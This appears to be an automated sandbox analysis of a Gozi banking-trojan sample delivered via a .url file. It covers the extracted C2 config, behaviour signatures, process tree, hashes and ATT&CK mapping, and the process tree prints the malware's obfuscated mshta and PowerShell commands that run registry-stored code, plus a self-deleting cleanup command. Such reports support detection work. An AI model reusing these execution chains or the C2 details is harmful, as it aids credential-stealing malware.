Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    windows10-1703_x64
  • resource
    win10-20230915-en
  • resource tags

    arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
  • submitted
    13-10-2023 01:40

General

  • Target

    url/modulo.url

  • Size

    204B

  • MD5

    5ece85d608cc6f3fc7250c0a609241eb

  • SHA1

    cadac53fa389635eac3ae62291d9022b06f8e801

  • SHA256

    8636389e0cb65ea3dc6f46c33ad78d2b03601a3eec7945586920a4f7581e9792

  • SHA512

    2b3f771cb4556412aea1f87fc1d06b35673739fac17b7bffcd988a245ccf67ab8208699adb07f527739df2cc493ccb2bf32a78de08a8d75ee4af8e9e28ae7ef6

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3132
    • C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\url\modulo.url
      2⤵
      • Modifies registry class
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4888
      • C:\Windows\System32\control.exe
        "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DZDMTHDJ\modulo[1].cpl",
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:992
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DZDMTHDJ\modulo[1].cpl",
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4816
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DZDMTHDJ\modulo[1].cpl",
            5⤵
            • Blocklisted process makes network request
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:168
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>R8uj='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(R8uj).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\C007E561-1FD8-F246-A9F4-C346ED68A7DA\\\GlobalPlay'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:876
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jfniluaew -value gp; new-alias -name qfwumtjuw -value iex; qfwumtjuw ([System.Text.Encoding]::ASCII.GetString((jfniluaew "HKCU:Software\AppDataLow\Software\Microsoft\C007E561-1FD8-F246-A9F4-C346ED68A7DA").VirtualActive))
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1056
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ykapj10c\ykapj10c.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4464
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES56C1.tmp" "c:\Users\Admin\AppData\Local\Temp\ykapj10c\CSC72A320F9435740818BB7C115DB22771B.TMP"
            5⤵
              PID:5040
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ifvcygpo\ifvcygpo.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4940
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES57DA.tmp" "c:\Users\Admin\AppData\Local\Temp\ifvcygpo\CSC24F6306F4C96440EB7C926163C7A2680.TMP"
              5⤵
                PID:4840
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DZDMTHDJ\modulo[1].cpl"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:3276
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:1924
        • C:\Program Files\Windows Mail\WinMail.exe
          "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
          2⤵
            PID:428
          • C:\Windows\syswow64\cmd.exe
            "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
            2⤵
              PID:1244
          • C:\Windows\System32\RuntimeBroker.exe
            C:\Windows\System32\RuntimeBroker.exe -Embedding
            1⤵
              PID:3772

            Network

            MITRE ATT&CK Matrix ATT&CK v13

            Discovery

            System Information Discovery

            1
            T1082

            Remote System Discovery

            1
            T1018

            Query Registry

            1
            T1012

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DZDMTHDJ\modulo[1].cpl
              Filesize

              206KB

              MD5

              72e2a5c797954e895a41be5b20f867b2

              SHA1

              419aacfb3ccea9b08277bcc9405054fa4238a597

              SHA256

              858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

              SHA512

              77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3

            • C:\Users\Admin\AppData\Local\Temp\RES56C1.tmp
              Filesize

              1KB

              MD5

              bed8c0724573de211e3333f306304ae7

              SHA1

              af6f8217a2552ad2de29cf1a71167a6c86749b1e

              SHA256

              6cc81ee6c9a5d421d448f2436c24f1754f3d57da8d01ec75b0133d2d291f5f6a

              SHA512

              1da9fa4b115afd7509fb69f330f899bfef4734cb8bb0a1c3cca1ebcd5a8f5cc90919e429ee1ef5deec88c26d07ea6eb87aef425267d3295c604b3ab5325d7132

            • C:\Users\Admin\AppData\Local\Temp\RES57DA.tmp
              Filesize

              1KB

              MD5

              3e88bd2a25dc8a9be39132030745150b

              SHA1

              adcd1ba6ea6fc763708ca8e4a7eef27006920f19

              SHA256

              c16afef3b72ceab4b727597ee0637cc3d596e491a23f71da00669db10e1dd4a6

              SHA512

              643b0c4c5d1e8762397ed791291dceb4bdd744e3ac2befa61217a5c20122f3f54731cf75c2cd61e6f7d451e3a39d1d3d3698cd279f5d7330a7c8de4fa956dc78

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iwnmwdva.ljo.ps1
              Filesize

              1B

              MD5

              c4ca4238a0b923820dcc509a6f75849b

              SHA1

              356a192b7913b04c54574d18c28d46e6395428ab

              SHA256

              6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

              SHA512

              4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

            • C:\Users\Admin\AppData\Local\Temp\ifvcygpo\ifvcygpo.dll
              Filesize

              3KB

              MD5

              c5409169bae87fc0a168c16cbe645f0c

              SHA1

              8565664dbb68c402d86fbc08966a8b88348ddb7f

              SHA256

              a64accff4db8d9b7f6d65f238ed69d19853dc4b4314b596aca2a5d4cbc522e77

              SHA512

              eb29f1fafdf675bb1db348cd43ab8aaa6a2d37293662bdbc3f57c35325e9b50e99c98208dc4967c34e4dce8b01e22dd443d093ba735b931d36b9ccfafb383ec6

            • C:\Users\Admin\AppData\Local\Temp\ykapj10c\ykapj10c.dll
              Filesize

              3KB

              MD5

              0d142972c7ada4297bd0be849d7388a9

              SHA1

              21754ae4b6cf329e2b36eff466144004512d494c

              SHA256

              b90a313e9f3dfc052b965c79f7cfb05b8acccc38a39d2eb30c694afd36ec46d0

              SHA512

              5a1d94d88e772f6caecb399be3436df9f084fc24cf264031fbc6617ca5684cb813dbb240115365467b303248279a1d173e507d310f14800672f80b4fcb9c1f78

            • \??\c:\Users\Admin\AppData\Local\Temp\ifvcygpo\CSC24F6306F4C96440EB7C926163C7A2680.TMP
              Filesize

              652B

              MD5

              41c281e352c89e97486ba70a7edb7f3f

              SHA1

              4d021f793ceb3ce96962a337388c90311b766bd8

              SHA256

              8598863fc860eadddf305596d7f9efa547538b01a00cfd77537c08d28526e054

              SHA512

              02cfe99973d8c4f460d5c20fbb4048dc051c4e9685ab388890960c41b13cbfbb82b3c1f4f7ca1bdde4e1a3acb314a62d1de4369c0a83acc0b9c19937d1c23f4f

            • \??\c:\Users\Admin\AppData\Local\Temp\ifvcygpo\ifvcygpo.0.cs
              Filesize

              406B

              MD5

              ca8887eacd573690830f71efaf282712

              SHA1

              0acd4f49fc8cf6372950792402ec3aeb68569ef8

              SHA256

              568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

              SHA512

              2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

            • \??\c:\Users\Admin\AppData\Local\Temp\ifvcygpo\ifvcygpo.cmdline
              Filesize

              369B

              MD5

              3ac55eedfd49b06e3f0e404eb5b63264

              SHA1

              35b344ffbd1b551685c4f2f97874b4b911b6d661

              SHA256

              9d3bc5d417a87c5a413129b53334739a1ad0b8082dc47334226e51de6c0625d8

              SHA512

              1c34016d95d719d057d21d6ce644ed122fc9ef8a95dbb48df82440672968964b49fb6cd183966c0c08d337870c977acadd71167678733f3c1dcef3c275db4088

            • \??\c:\Users\Admin\AppData\Local\Temp\ykapj10c\CSC72A320F9435740818BB7C115DB22771B.TMP
              Filesize

              652B

              MD5

              e969c3edce8e2e6924b976d4ab86ab24

              SHA1

              5c2f6eca8c0fac2daf55414acab2131a8e625716

              SHA256

              e92c23e89d7bff5afa60923c304463343ef50155f543c1272ee5a544a0ca8b2b

              SHA512

              fa4d704d63d8739d4ce53064819074090406a187b710d3c89a65c144d8e3f297be9233cb801649b07065c4c383b0e5e5d63c9433071c3a78dc18dee7d15b2808

            • \??\c:\Users\Admin\AppData\Local\Temp\ykapj10c\ykapj10c.0.cs
              Filesize

              405B

              MD5

              caed0b2e2cebaecd1db50994e0c15272

              SHA1

              5dfac9382598e0ad2e700de4f833de155c9c65fa

              SHA256

              21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

              SHA512

              86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

            • \??\c:\Users\Admin\AppData\Local\Temp\ykapj10c\ykapj10c.cmdline
              Filesize

              369B

              MD5

              b1af980145bf7e27fa3d3eb5583e884d

              SHA1

              91dcadbca9875ed132648b250fa0d449fb71279d

              SHA256

              7b59c9d44d682889f5ca7af54f2f79df2950c5c93e2d045c2564da662d07d7c0

              SHA512

              9a39aed98b26ee4840aa20b90279a37f0b40f0ee5a6354bc31687056d8bac30a92c224476ddc045a0d8f1a9046fab81f2cfdda0a5f4904245dbf37dc3e569094

            • \Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DZDMTHDJ\modulo[1].cpl
              Filesize

              206KB

              MD5

              72e2a5c797954e895a41be5b20f867b2

              SHA1

              419aacfb3ccea9b08277bcc9405054fa4238a597

              SHA256

              858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

              SHA512

              77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3

            • memory/168-8-0x00000000029A0000-0x00000000029AD000-memory.dmp
              Filesize

              52KB

            • memory/168-116-0x00000000028F0000-0x00000000028FE000-memory.dmp
              Filesize

              56KB

            • memory/168-6-0x00000000028B0000-0x00000000028D9000-memory.dmp
              Filesize

              164KB

            • memory/168-7-0x00000000028F0000-0x00000000028FE000-memory.dmp
              Filesize

              56KB

            • memory/168-11-0x00000000028F0000-0x00000000028FE000-memory.dmp
              Filesize

              56KB

            • memory/428-120-0x000001CE238A0000-0x000001CE23944000-memory.dmp
              Filesize

              656KB

            • memory/428-122-0x000001CE21FB0000-0x000001CE21FB1000-memory.dmp
              Filesize

              4KB

            • memory/428-128-0x000001CE238A0000-0x000001CE23944000-memory.dmp
              Filesize

              656KB

            • memory/1056-89-0x00007FFEAC610000-0x00007FFEACFFC000-memory.dmp
              Filesize

              9.9MB

            • memory/1056-90-0x00000248FF810000-0x00000248FF84D000-memory.dmp
              Filesize

              244KB

            • memory/1056-71-0x00000248FF6D0000-0x00000248FF6E0000-memory.dmp
              Filesize

              64KB

            • memory/1056-73-0x00000248FF810000-0x00000248FF84D000-memory.dmp
              Filesize

              244KB

            • memory/1056-55-0x00000248FF7E0000-0x00000248FF7E8000-memory.dmp
              Filesize

              32KB

            • memory/1056-24-0x00000248FF860000-0x00000248FF8D6000-memory.dmp
              Filesize

              472KB

            • memory/1056-69-0x00000248FF800000-0x00000248FF808000-memory.dmp
              Filesize

              32KB

            • memory/1056-20-0x00007FFEAC610000-0x00007FFEACFFC000-memory.dmp
              Filesize

              9.9MB

            • memory/1056-21-0x00000248FF6D0000-0x00000248FF6E0000-memory.dmp
              Filesize

              64KB

            • memory/1056-19-0x00000248FF640000-0x00000248FF662000-memory.dmp
              Filesize

              136KB

            • memory/1244-134-0x0000000002E70000-0x0000000002E71000-memory.dmp
              Filesize

              4KB

            • memory/1244-133-0x0000000003390000-0x0000000003428000-memory.dmp
              Filesize

              608KB

            • memory/1244-140-0x0000000003390000-0x0000000003428000-memory.dmp
              Filesize

              608KB

            • memory/1924-112-0x000002CAA0D30000-0x000002CAA0DD4000-memory.dmp
              Filesize

              656KB

            • memory/1924-113-0x000002CAA0AB0000-0x000002CAA0AB1000-memory.dmp
              Filesize

              4KB

            • memory/1924-143-0x000002CAA0D30000-0x000002CAA0DD4000-memory.dmp
              Filesize

              656KB

            • memory/3132-75-0x0000000003120000-0x00000000031C4000-memory.dmp
              Filesize

              656KB

            • memory/3132-136-0x0000000003120000-0x00000000031C4000-memory.dmp
              Filesize

              656KB

            • memory/3132-76-0x0000000001290000-0x0000000001291000-memory.dmp
              Filesize

              4KB

            • memory/3276-105-0x00000168FC260000-0x00000168FC261000-memory.dmp
              Filesize

              4KB

            • memory/3276-104-0x00000168FC500000-0x00000168FC5A4000-memory.dmp
              Filesize

              656KB

            • memory/3276-142-0x00000168FC500000-0x00000168FC5A4000-memory.dmp
              Filesize

              656KB

            • memory/3772-92-0x0000022FD5340000-0x0000022FD53E4000-memory.dmp
              Filesize

              656KB

            • memory/3772-93-0x0000022FD36F0000-0x0000022FD36F1000-memory.dmp
              Filesize

              4KB

            • memory/3772-141-0x0000022FD5340000-0x0000022FD53E4000-memory.dmp
              Filesize

              656KB